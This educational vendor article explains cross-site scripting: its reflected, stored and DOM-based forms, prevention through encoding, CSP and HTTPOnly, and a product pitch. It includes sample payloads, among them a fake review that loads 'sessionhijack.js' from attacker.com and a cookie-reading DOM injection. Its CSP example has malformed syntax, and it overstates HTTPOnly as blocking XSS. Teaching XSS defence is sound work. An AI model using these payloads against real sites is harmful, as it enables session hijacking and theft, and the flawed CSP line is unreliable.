What is XSS?
Cross site scripting (XSS) is a cyberattack method that involves running malicious code as part of a vulnerable web application. It is a type of cyber attack where a threat actor injects malicious code into a trusted website. The code is then delivered to a victim’s browser. Unlike other attack vectors like SQL injections, XSS does not target the application directly—it primarily targets the user. XSS is one of the most common web application vulnerabilities.
Here’s how an XSS attack works:
- An attacker sends a malicious link to a user.
- The user clicks the link.
- The malicious code is included with dynamic content delivered to the victim’s browser.
- The code sends an HTTP request to the attacker’s webserver.
- The attacker can use the stolen cookies to impersonate the user, access sensitive data, or perform a social engineering attack.
- XSS attacks allow attackers to circumvent the same origin policy, which is designed to keep different websites separate.
To prevent XSS, you can:
- Run untrusted HTML input through an HTML sanitization engine.
- Blacklist specific HTML tags that are at risk, such as the iframe, link, and script tags.
- Prevent client-side scripts from accessing cookies.
This is crucial as XSS attacks allow attackers to circumvent the same origin policy, a security measure designed to keep different websites separate.
This is part of an extensive series of guides about cybersecurity
In this article, you will learn:
- How Does Cross Site Scripting Work?
- Types of XSS Attacks
- How Can You Prevent Cross-Site Scripting Attacks?
- Detecting and Testing for XSS
How Does Cross Site Scripting Work?
XSS is an injection attack that exploits the fact that browsers cannot differentiate between valid scripts and attacker-controlled scripts. XSS attacks bypass the same-origin policy, which is designed to prevent scripts that originate in one website from interacting with other scripts from different websites.
When the same-origin policy is not properly enforced, attackers can inject a script that modifies the web page. For example, the script can allow an attacker to impersonate a pre-authenticated user. It also allows attackers to input malicious code, which is then executed by the browser, or execute JavaScript that modifies content on the page.
XSS can cause serious issues. Attackers often leverage XSS to steal session cookies and impersonate the user. Attackers can also use XSS to deface websites, spread malware, phish for user credentials, support social engineering techniques, and more.
Learn more in our detailed guide to XSS vulnerabilities
What languages are targets of XSS?
Unsanitized user input can put any web application at risk of an XSS attack. The most common language for XSS attacks is JavaScript, but XSS can affect HTML, Flash, VBScript, CSS, and other web development languages and frameworks.
What is the impact of XSS?
Cross site scripting attacks can have devastating consequences. Code injected into a vulnerable application can exfiltrate data or install malware on the user’s machine. Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.
XSS can also impact a business’s reputation. An attacker can deface a corporate website by altering its content, thereby damaging the company’s image or spreading misinformation. A hacker can also change the instructions given to users who visit the target website, misdirecting their behavior. This scenario is particularly dangerous if the target is a government website or provides vital resources in times of crisis.
Learn more in our detailed guide to reflected xss.
Types of XSS Attacks
Reflected Cross-Site Scripting
Reflected XSS is a simple form of cross-site scripting that involves an application “reflecting” malicious code received via an HTTP request. As a result of an XSS vulnerability, the application accepts malicious code from the user and includes it in its response.
For example, suppose a website encodes a message in a URL parameter. If the application does not sanitize the input provided by the URL parameter, an attacker can inject a malicious script into it, like this:
https://web-app.com/status?message=<script>/*+malicious+code...+*/</script>
<p><script>/*+malicious+code...+*/</script></p>
When a user visits the page, the attacker’s script executes, and the script now has access to any action or data that the user can access.
Stored/Persistent Cross-Site Scripting
Stored XSS involves an application receiving data from a malicious source and storing the data for use in later HTTP responses. This is also known as second-order or persistent XSS, because it persists in the system.
The data can come from any untrusted source that sends an HTTP request to the application, such as comments posted on a blog or an application that displays email messages using SMTP.
An example of a stored XSS attack is an Ecommerce website that allows customers to post reviews of products. Now consider that the mechanism used to publish reviews does not properly sanitize user inputs, allowing attackers to embed HTML tags in the text they submit.
For example, an attacker could submit review text like this:
Really enjoyed this product, highly recommend it. “<script src=”http://attacker.com/sessionhijack.js”> </script>”
The review is published on the page, and loads for every user who views the page (hence this is a stored XSS attack). When a new visitor loads the page, the malicious JavaScript is executed, attackers hijack the user’s session, and can impersonate them on the site from this point onwards.
DOM-Based Cross-Site Scripting
DOM-based XSS is an attack that modifies the domain object model (DOM) on the client side ( the browser). In a DOM-based attacks, the HTTP response on the server side does not change. Rather, a malicious change in the DOM environment causes client code to run unexpectedly.
See the example below of a welcome page in a web application, which retrieves a URL parameter to populate the user’s name.
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome
…
</HTML>
This page uses a URL parameter to input the user’s name, like this:
http://www.vulnerable.site/welcome.html?name=Jill
But a malicious user can inject JavaScript code into the request, like this:
http://www.vulnerable.site/welcome.html?name=alert(document.cookie)
Learn more, and see additional examples, in our guide to DOM-based XSS
How Can You Prevent Cross-Site Scripting Attacks?
XSS Prevention: Reflected and Stored XSS
1. Sanitize inputs
Reflected and stored cross-site scripting can be sanitized on the server-side and there are multiple ways of doing it. Blacklisting characters that are deemed unsafe won’t really work out in the long run since some malicious user might figure out some bypass for it as it usually happens. What you need to do is whitelist what is allowed.
- Use a security encoding library to encode all parameters and user input.If you need to insert parameters/user input data into your HTML body, add an HTML escape before insert itself.
- Encode any character that can affect the execution context, whether it indicates the start of a script, event, or CSS style, using a function like htmlentities().
- Escape attribute if you need to insert parameters/user input data into your HTML common attributes. Don’t use event handles or attributes like href, style, or src.
- Always add quotes to your attributes, because quoted attributes can only be escaped with the corresponding quote. As a general rule, escape all non-alphanumeric characters.
- Use JavaScript escaping for dynamically generated JS code, where you would need to insert parameters/user data input into either event handlers or script tags. The only safe place you can put data here is inside any quoted value. Anything else is really tricky to sanitize properly since it’s really easy to switch context.
2. Blacklist high-risk HTML tags
This approach involves identifying and disallowing the use of tags that are commonly exploited in XSS attacks. While not a foolproof method, it can significantly reduce the risk of certain types of XSS exploits. Focus on tags that can be used to execute scripts or load external resources. Common examples include <script>, <iframe>, <link>, <object>, <embed>, and <style> tags.
3. Use HTTPOnly cookie flag
It is difficult to prevent all XSS flaws in your application. To reduce the impact of XSS vulnerabilities, use the HTTPOnly flag—if the browser supports it, this flag ensures that cookies cannot be accessed by client side scripts, effectively blocking XSS attacks.
Set the HTTPOnly flag on session cookies, and any custom cookies that are not accessed by any of your JavaScript code. The flag is enabled in .NET applications default, but it needs to be enabled manually in other languages.
4. Implement Content Security Policy
Content Security Policy (CSP) is another effective strategy to help mitigate the impact of XSS vulnerabilities. It is a browser-side solution that lets you create lists specifying access permissions to client side resources, such as JavaScript and CSS. CSP uses an HTTP header to instruct the browser to execute resources only from the specified sources.
For example:
Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.tld
This command instructs the web browser to only load all resources from a known source, in this example static.domain.tld.
5. X-XSS-Protection Header
The HTTP X-XSS-Protection header is a feature available in popular browsers like Google Chrome and Internet Explorer, which filters suspicious content to prevent reflected XSS attacks. If the header detects XSS, it blocks the page from loading, but doesn’t sanitize inputs in the page.
However, reliance on the X-XSS-Protection header can create additional client-side security risks. It should be used with caution. It is recommended to set the header to X-XSS-Protection: 0
, which disables the XSS Auditor and prevents it from following the default response behavior of the browser.
XSS Prevention: DOM XSS
DOM XSS can’t be sanitized on the server-side since all execution happens on the client-side and thus the sanitization is a bit different.
1. Sanitizing inputs
Always HTML escape and then JavaScript escape any parameter or user data input before inserting it into the HTML subcontext in the execution context.
When inserting into the HTML attribute subcontext in the execution context do JavaScript escape before it.
Avoid including any volatile data (any parameter/user input) in event handlers and JavaScript code subcontexts in an execution context.
2. Using the correct output method
Make sure you use the most appropriate browser API output method. For instance, to accept content from user inputs in a div
, don’t use innerHtml
– prefer to use a function like innerText
that sanitizes the content.
In addition, don’t try to encode the output manually. Use element.textContent
to display user-provided content, like in the following example provided by OWASP:
<b>Current URL:</b> <span id="contentholder"></span>
...
<script>
document.getElementById("contentholder").textContent = document.baseURI;
</script>
This achieves the same objective of displaying user-provided content, but without DOM XSS vulnerabilities.
Detecting and Testing for XSS with Bright
While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.
Bright can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.
Engineering and security teams can trust Bright’s results, with automatic validation of every XSS finding carried out, with no false positives. Bright even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.
See Additional Guides on Key Cybersecurity Topics
Together with our content partners, we have authored in-depth guides on several other topics that can also be useful as you explore the world of cybersecurity.
UEBA
Authored by Exabeam
- What Is UEBA (User and Entity Behavior Analytics)?Â
- What Is UEBA and Why It Should Be an Essential Part of Your Incident
Response - UEBA Tools: Key Capabilities and 7 Tools You Should KnowÂ
What Are TTPs
Authored by Exabeam
- What Is Lateral Movement and How to Detect and Prevent It
- What Are TTPs and How Understanding Them Can Help Prevent the Next IncidentÂ
- 9 Lateral Movement Techniques and Defending Your Network
Disaster Recovery
Authored by Cloudian
- What Is Disaster Recovery? – Features and Best Practices
- The Easy Way to Create Your Own IT Disaster Recovery Plan
- What Is a Disaster Recovery Plan? 4 Examples
